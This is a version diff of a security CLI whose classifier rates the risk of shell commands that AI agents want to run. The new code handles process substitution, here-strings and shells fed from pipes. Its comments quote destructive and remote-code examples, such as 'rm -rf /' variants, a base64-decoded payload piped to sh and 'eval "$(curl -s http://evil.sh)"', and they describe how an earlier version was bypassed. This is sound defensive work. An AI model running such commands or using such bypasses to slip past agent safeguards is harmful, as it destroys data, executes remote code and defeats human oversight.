@rafter-security/cli 0.10.4 → 0.10.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -106,7 +106,18 @@ export const DEFAULT_REQUIRE_APPROVAL = [
106
106
  /** Shells whose `-c` argument is a command string to execute. */
107
107
  const SHELL_EXECS = new Set(["bash", "sh", "zsh", "dash", "ksh", "ash", "fish", "su"]);
108
108
  /** Execs whose arguments are executable text (a remote command, a script). */
109
- const EVAL_EXECS = new Set(["eval", "exec", "ssh", "sshpass", "xargs"]);
109
+ const EVAL_EXECS = new Set([
110
+ // `trap 'cmd' EXIT` registers a command string that runs when the shell
111
+ // LEAVES. The payload is an ordinary quoted operand, so without this it is
112
+ // redacted as prose exactly as `echo "..."` correctly is. The deferral
113
+ // changes the deny message and the audit trail, not the decision. (rf-zvll A2)
114
+ "trap",
115
+ "eval",
116
+ "exec",
117
+ "ssh",
118
+ "sshpass",
119
+ "xargs",
120
+ ]);
110
121
  /** Flags carrying an executable string (`bash -c`, `python -c`, `mysql -e`, `find -exec`). */
111
122
  const EVAL_FLAGS = new Set(["-c", "-e", "--command", "--execute", "--eval", "-exec", "--exec"]);
112
123
  /** Prefix wrappers that delegate to the command that follows them. */
@@ -124,6 +135,13 @@ const TEXT_FLAGS = new Set([
124
135
  /** Operators that chain independent commands. */
125
136
  const CHAIN_OPS = new Set([";", "&&", "||", "|", "&"]);
126
137
  /** Operators whose following token is a redirect target (a path — never data). */
138
+ // `<<<` is deliberately ABSENT: it is a here-STRING, and its operand is stdin
139
+ // CONTENT, not a path. Treating it as a redirect target left the text
140
+ // untouched, which over-blocked a data owner (`cat <<< "…rm -rf /…" > notes.md`
141
+ // classified critical — #230's shape, one operator over) and under-blocked a
142
+ // shell one (`bash <<< "rm -rf /"` classified high, though the shell runs it).
143
+ // Falling through to the ordinary operand path asks the question the heredoc
144
+ // work already answers: does this command execute what it reads? (sable-4nt2)
127
145
  const REDIRECT_OPS = new Set([">", ">>", "<", "<<"]);
128
146
  /** Bound on recursion through nested shell wrappers / substitutions. */
129
147
  const MAX_SANITIZE_DEPTH = 8;
@@ -181,6 +199,24 @@ function tokenize(s) {
181
199
  i++;
182
200
  continue;
183
201
  }
202
+ // `<(cmd)` / `>(cmd)` — PROCESS SUBSTITUTION. The content is a command that
203
+ // RUNS, exactly as `$(cmd)` does, so it goes in substs and the existing
204
+ // recursive scan handles it with no new rule.
205
+ //
206
+ // Without this the tokenizer never forms the construct: it emits op `<`,
207
+ // which is in REDIRECT_OPS, so `(cmd` becomes a redirect TARGET and is left
208
+ // untouched, while the remaining words are redacted as the host's data
209
+ // operands. TWO independent wrong decisions that conspire —
210
+ // `ack <(rm -rf /)` sanitized to `ack <(rm `, harmless-looking head
211
+ // preserved and dangerous tail deleted. Fixing either alone leaves the
212
+ // bypass, which is worth knowing when reviewing this. (rf-zvll)
213
+ if ((c === "<" || c === ">") && s[i + 1] === "(") {
214
+ const start = i;
215
+ const r = readSubst(s, i);
216
+ i = r.next;
217
+ pieces.push({ start, end: i, op: null, text: "", quoted: false, substs: [r.inner] });
218
+ continue;
219
+ }
184
220
  if (isOpChar(c)) {
185
221
  const start = i;
186
222
  if (c === "\n" || c === "\r") {
@@ -190,7 +226,15 @@ function tokenize(s) {
190
226
  continue;
191
227
  }
192
228
  const two = s.slice(i, i + 2);
193
- const op = (two === "&&" || two === "||" || two === ">>" || two === "<<") ? two : c;
229
+ // `<<<` before `<<`, or it tokenizes as `<<` + `<` and the here-string
230
+ // operand becomes a redirect target — left untouched, which is how it
231
+ // ended up both over- and under-blocked (sable-4nt2).
232
+ const three = s.slice(i, i + 3);
233
+ const op = three === "<<<"
234
+ ? three
235
+ : (two === "&&" || two === "||" || two === ">>" || two === "<<")
236
+ ? two
237
+ : c;
194
238
  i += op.length;
195
239
  pieces.push({ start, end: i, op, text: op, quoted: false, substs: [] });
196
240
  continue;
@@ -882,6 +926,84 @@ function disarmsRafter(command, depth = 0) {
882
926
  statements.push(stmt);
883
927
  return statements.some(statementDisarmsRafter);
884
928
  }
929
+ /**
930
+ * True if a SHELL receives its program through a channel rather than as a path.
931
+ *
932
+ * rf-zvll mechanism B. Three shapes, all measured EXECUTING by the sandboxed
933
+ * oracle while classifying `low`:
934
+ *
935
+ * cat payload.txt | sh the payload is in a file
936
+ * echo <b64> | base64 -d | sh the payload is encoded
937
+ * bash < payload.txt no pipe at all, just a redirect
938
+ *
939
+ * The classifier cannot read any of them, so no amount of better parsing
940
+ * recovers the payload — this is a POSTURE decision, not an analysis one.
941
+ *
942
+ * DELIBERATELY EXCLUDES a plain file ARGUMENT (`bash deploy.sh`). We cannot read
943
+ * that either, so the distinction is not one of RISK — it is one of FREQUENCY,
944
+ * and saying so plainly matters more than dressing it up. Measured over 13,613
945
+ * intercepted commands: stream forms are 0.022% of traffic in 2 of 665 repos,
946
+ * while `curl|wget` into a shell — already approval-gated — is 100 events. The
947
+ * form that already prompts is 33x more common than everything this newly
948
+ * gates. That sample is ONE machine; the limit is recorded on rf-zvll.
949
+ */
950
+ export function shellProgramFromStream(command) {
951
+ const { pieces } = tokenize(command);
952
+ const segments = [];
953
+ const enders = [];
954
+ let cur = [];
955
+ for (const piece of pieces) {
956
+ if (piece.op !== null && CHAIN_OPS.has(piece.op)) {
957
+ segments.push(cur);
958
+ enders.push(piece.op);
959
+ cur = [];
960
+ continue;
961
+ }
962
+ cur.push(piece);
963
+ }
964
+ segments.push(cur);
965
+ enders.push(null);
966
+ // Iterative, not one step: `env FOO=1 bash` needs two skips, and a single
967
+ // lookahead silently resolved to `FOO=1` — caught by its own test row.
968
+ const resolve = (seg) => {
969
+ const words = seg.filter((w) => w.op === null);
970
+ for (let k = 0; k < words.length; k++) {
971
+ const t = words[k].text;
972
+ if (ENV_ASSIGNMENT.test(t) || t.startsWith("-"))
973
+ continue;
974
+ if (TAIL_WRAPPERS.has(execName(t)))
975
+ continue;
976
+ return execName(t);
977
+ }
978
+ return "";
979
+ };
980
+ for (let idx = 0; idx < segments.length; idx++) {
981
+ const seg = segments[idx];
982
+ // `eval "$(cat f)"` / `eval "$(curl -s http://x)"` — a program-executing
983
+ // consumer fed from a substitution whose OUTPUT we cannot read. Same
984
+ // semantic test as the pipe case; pipe-vs-substitution is syntax.
985
+ //
986
+ // Deliberately ANY substitution, not only data-readers: a reader-only rule
987
+ // misses `eval "$(curl -s http://evil.sh)"`, remote code and the worst
988
+ // shape in the set. Measured cost of the broad rule: ZERO occurrences in
989
+ // 13,647 commands across 671 repos.
990
+ if (EVAL_EXECS.has(resolve(seg)) && seg.some((w) => w.op === null && w.substs.length)) {
991
+ return true;
992
+ }
993
+ if (SHELL_EXECS.has(resolve(seg))) {
994
+ // `bash < file` / `bash <<< str` — the program arrives on stdin.
995
+ for (const w of seg)
996
+ if (w.op === "<" || w.op === "<<<")
997
+ return true;
998
+ }
999
+ // `… | bash` — this segment's OUTPUT is the next one's program.
1000
+ if (enders[idx] === "|" && idx + 1 < segments.length) {
1001
+ if (SHELL_EXECS.has(resolve(segments[idx + 1])))
1002
+ return true;
1003
+ }
1004
+ }
1005
+ return false;
1006
+ }
885
1007
  export function assessCommandRisk(command) {
886
1008
  // rf-vnxs: checked on the RAW command, before sanitization, because the
887
1009
  // disarm is an ordinary well-formed invocation — there is nothing malformed
@@ -895,6 +1017,12 @@ export function assessCommandRisk(command) {
895
1017
  if (pattern.test(cmd))
896
1018
  return "critical";
897
1019
  }
1020
+ // rf-zvll B2: a shell fed its program from a channel we cannot read requires
1021
+ // approval. Checked AFTER critical so `echo 'rm -rf /' | sh` — where the
1022
+ // payload IS readable and matches — keeps its hard block rather than being
1023
+ // softened to approval.
1024
+ if (shellProgramFromStream(command))
1025
+ return "high";
898
1026
  for (const pattern of HIGH_PATTERNS) {
899
1027
  if (pattern.test(cmd))
900
1028
  return "high";
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@rafter-security/cli",
3
- "version": "0.10.4",
3
+ "version": "0.10.5",
4
4
  "type": "module",
5
5
  "repository": {
6
6
  "type": "git",
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  name: rafter-security
3
3
  description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`.
4
- version: 0.10.4
4
+ version: 0.10.5
5
5
  homepage: https://rafter.so
6
6
  metadata:
7
7
  openclaw: